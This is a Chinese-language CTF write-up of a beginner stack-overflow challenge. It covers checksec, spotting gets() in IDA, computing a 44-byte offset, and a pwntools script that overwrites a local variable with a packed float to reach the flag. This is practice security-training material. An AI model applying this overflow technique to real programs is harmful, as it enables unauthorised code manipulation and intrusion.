今天继续练手,主要区别之前做的就是要知道一个浮点数是4字节,并且得了解python写exp的时候要会用struct.pack('<f',浮点数)来构造paylaod。
依旧checksec检查文件的保护:
1.没有栈保护,不会生成随机数检查是否被破坏
2.数据执行保护,字符串不可执行
3.No PIE,程序加载位置固定,system()找到的地址就可以直接用放die检查位数
看到是64位,放到ida64,并且shift+f12查看字符串有没有什么提示
看到cat /flag,双击进去并且查看伪代码
看到了gets()函数,存在溢出!
可以看到只要满足v2=11.28125就可以得到flag.
看到栈中v1的其实地址是[rbp-30h],v2的起始位置是[rbp-4h]
所以我们应该填充48-4=44个字节就可以到v2的起始位置,再填充代码中的浮点数(11.28125)四个字节栈刚刚好满,程序正常执行返回。所以exp:
from pwn import *
p = remote('node5.buuoj.cn', 28538)
offset = 44
payload = b'A'* offset + struct.pack('<f', 11.28125)
p.recvuntil("Let's guess the number.")
p.sendline(payload)
print(p.recvall().decode())
成功get flag!